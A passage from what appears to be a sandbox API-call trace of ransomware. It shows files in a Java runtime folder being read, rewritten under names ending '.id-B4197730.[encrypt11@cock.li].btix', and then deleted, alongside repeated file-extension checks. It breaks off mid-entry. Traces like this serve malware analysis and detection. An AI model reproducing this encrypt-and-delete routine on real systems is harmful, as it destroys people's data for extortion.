Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.419] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.419] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.419] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.419] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0130.419] GetLastError () returned 0x0 [0130.420] ReadFile (in: hFile=0x41c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0xfe8, lpOverlapped=0x0) returned 1 [0130.428] WriteFile (in: hFile=0x43c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xff0, lpOverlapped=0x0) returned 1 [0130.429] ReadFile (in: hFile=0x41c, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0130.429] WriteFile (in: hFile=0x43c, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x106, lpOverlapped=0x0) returned 1 [0130.430] SetEndOfFile (hFile=0x43c) returned 1 [0130.430] CloseHandle (hObject=0x43c) returned 1 [0130.430] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.430] SetEndOfFile (hFile=0x41c) returned 1 [0130.459] CloseHandle (hObject=0x41c) returned 1 [0130.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.460] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1 [0130.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0130.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0130.463] lstrlenW (lpString=".doc") returned 4 [0130.463] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.463] lstrlenW (lpString=".docx") returned 5 [0130.463] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.463] lstrlenW (lpString=".pdf") returned 4 [0130.463] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.463] lstrlenW (lpString=".xls") returned 4 [0130.463] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.463] lstrlenW (lpString=".xlsx") returned 5 [0130.463] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.463] lstrlenW (lpString=".ppt") returned 4 [0130.463] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0130.463] lstrlenW (lpString=".zip") returned 4 [0130.463] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.463] lstrlenW (lpString=".rar") returned 4 [0130.464] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.464] lstrlenW (lpString=".bz2") returned 4 [0130.464] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.464] lstrlenW (lpString=".7z") returned 3 [0130.464] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0130.464] lstrlenW (lpString=".dbf") returned 4 [0130.464] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0130.464] lstrlenW (lpString=".1cd") returned 4 [0130.464] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0130.464] lstrlenW (lpString=".jpg") returned 4 [0130.464] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0130.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0130.464] lstrlenW (lpString=".doc") returned 4 [0130.464] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.464] lstrlenW (lpString=".docx") returned 5 [0130.464] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.464] lstrlenW (lpString=".pdf") returned 4 [0130.464] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.464] lstrlenW (lpString=".xls") returned 4 [0130.464] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.464] lstrlenW (lpString=".xlsx") returned 5 [0130.464] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.464] lstrlenW (lpString=".ppt") returned 4 [0130.464] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.464] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0130.464] lstrlenW (lpString=".zip") returned 4 [0130.464] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.464] lstrlenW (lpString=".rar") returned 4 [0130.464] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.464] lstrlenW (lpString=".bz2") returned 4 [0130.464] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.464] lstrlenW (lpString=".7z") returned 3 [0130.465] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0130.465] lstrlenW (lpString=".dbf") returned 4 [0130.465] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0130.465] lstrlenW (lpString=".1cd") returned 4 [0130.465] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.465] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0130.465] lstrlenW (lpString=".jpg") returned 4 [0130.465] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.465] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0130.465] lstrlenW (lpString="messages_zh_HK.properties") returned 25 [0130.465] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0130.643] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3752) returned 1 [0130.643] CloseHandle (hObject=0x4b0) returned 1 [0130.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0130.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.643] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0130.643] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.643] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.643] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0130.645] GetLastError () returned 0x0 [0130.645] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0xea8, lpOverlapped=0x0) returned 1 [0130.647] WriteFile (in: hFile=0x460, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xeb0, lpOverlapped=0x0) returned 1 [0130.648] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0130.648] WriteFile (in: hFile=0x460, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x106, lpOverlapped=0x0) returned 1 [0130.648] SetEndOfFile (hFile=0x460) returned 1 [0130.648] CloseHandle (hObject=0x460) returned 1 [0130.648] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.648] SetEndOfFile (hFile=0x4b0) returned 1 [0130.651] CloseHandle (hObject=0x4b0) returned 1 [0130.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0130.651] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1 [0130.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0130.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0130.652] lstrlenW (lpString=".doc") returned 4 [0130.652] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.652] lstrlenW (lpString=".docx") returned 5 [0130.652] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.652] lstrlenW (lpString=".pdf") returned 4 [0130.652] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.652] lstrlenW (lpString=".xls") returned 4 [0130.652] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.652] lstrlenW (lpString=".xlsx") returned 5 [0130.652] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.652] lstrlenW (lpString=".ppt") returned 4 [0130.652] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0130.652] lstrlenW (lpString=".zip") returned 4 [0130.652] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.652] lstrlenW (lpString=".rar") returned 4 [0130.652] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.652] lstrlenW (lpString=".bz2") returned 4 [0130.652] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.652] lstrlenW (lpString=".7z") returned 3 [0130.652] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0130.652] lstrlenW (lpString=".dbf") returned 4 [0130.652] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0130.652] lstrlenW (lpString=".1cd") returned 4 [0130.653] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0130.653] lstrlenW (lpString=".jpg") returned 4 [0130.653] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0130.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0130.653] lstrlenW (lpString=".doc") returned 4 [0130.653] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0130.653] lstrlenW (lpString=".docx") returned 5 [0130.653] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0130.653] lstrlenW (lpString=".pdf") returned 4 [0130.653] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0130.653] lstrlenW (lpString=".xls") returned 4 [0130.653] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0130.653] lstrlenW (lpString=".xlsx") returned 5 [0130.653] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0130.653] lstrlenW (lpString=".ppt") returned 4 [0130.653] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0130.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0130.653] lstrlenW (lpString=".zip") returned 4 [0130.653] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0130.653] lstrlenW (lpString=".rar") returned 4 [0130.653] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0130.653] lstrlenW (lpString=".bz2") returned 4 [0130.653] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0130.653] lstrlenW (lpString=".7z") returned 3 [0130.653] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0130.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0130.653] lstrlenW (lpString=".dbf") returned 4 [0130.653] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0130.653] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0130.654] lstrlenW (lpString=".1cd") returned 4 [0130.654] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0130.654] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0130.654] lstrlenW (lpString=".jpg") returned 4 [0130.654] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0130.654] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0130.654] lstrlenW (lpString="cldrdata.jar") returned 12 [0130.654] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0130.654] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3860502) returned 1 [0130.654] CloseHandle (hObject=0x4b0) returned 1 [0130.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0130.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0130.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0130.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0130.655] lstrlenW (lpString=".doc") returned 4 [0130.655] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.655] lstrlenW (lpString=".docx") returned 5 [0130.655] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0130.655] lstrlenW (lpString=".pdf") returned 4 [0130.655] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.655] lstrlenW (lpString=".xls") returned 4 [0130.655] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.655] lstrlenW (lpString=".xlsx") returned 5 [0130.655] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0130.655] lstrlenW (lpString=".ppt") returned 4 [0130.655] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0130.655] lstrlenW (lpString=".zip") returned 4 [0130.655] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.655] lstrlenW (lpString=".rar") returned 4 [0130.655] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.655] lstrlenW (lpString=".bz2") returned 4 [0130.655] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.655] lstrlenW (lpString=".7z") returned 3 [0130.655] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0130.655] lstrlenW (lpString=".dbf") returned 4 [0130.655] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0130.655] lstrlenW (lpString=".1cd") returned 4 [0130.656] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0130.656] lstrlenW (lpString=".jpg") returned 4 [0130.656] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0130.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0130.656] lstrlenW (lpString=".doc") returned 4 [0130.656] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0130.656] lstrlenW (lpString=".docx") returned 5 [0130.656] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0130.656] lstrlenW (lpString=".pdf") returned 4 [0130.656] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0130.656] lstrlenW (lpString=".xls") returned 4 [0130.656] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0130.656] lstrlenW (lpString=".xlsx") returned 5 [0130.656] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0130.656] lstrlenW (lpString=".ppt") returned 4 [0130.656] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0130.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0130.656] lstrlenW (lpString=".zip") returned 4 [0130.656] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0130.656] lstrlenW (lpString=".rar") returned 4 [0130.656] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0130.656] lstrlenW (lpString=".bz2") returned 4 [0130.656] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0130.656] lstrlenW (lpString=".7z") returned 3 [0130.656] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0130.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0130.656] lstrlenW (lpString=".dbf") returned 4 [0130.656] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0130.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0130.656] lstrlenW (lpString=".1cd") returned 4 [0130.656] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0130.657] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0130.657] lstrlenW (lpString=".jpg") returned 4 [0130.657] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0130.657] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0130.657] lstrlenW (lpString="dnsns.jar") returned 9 [0130.657] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0130.657] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=8286) returned 1 [0130.657] CloseHandle (hObject=0x4b0) returned 1 [0130.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0130.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.657] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0130.658] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.658] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0130.658] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0131.068] GetLastError () returned 0x0 [0131.068] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x205e, lpOverlapped=0x0) returned 1 [0131.120] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2060, lpOverlapped=0x0) returned 1 [0131.121] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0131.121] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xe6, lpOverlapped=0x0) returned 1 [0131.121] SetEndOfFile (hFile=0x4b4) returned 1 [0131.122] CloseHandle (hObject=0x4b4) returned 1 [0131.122] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.122] SetEndOfFile (hFile=0x4b0) returned 1 [0131.124] CloseHandle (hObject=0x4b0) returned 1 [0131.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0131.124] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1 [0131.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0131.126] lstrlenW (lpString="C:\\Program 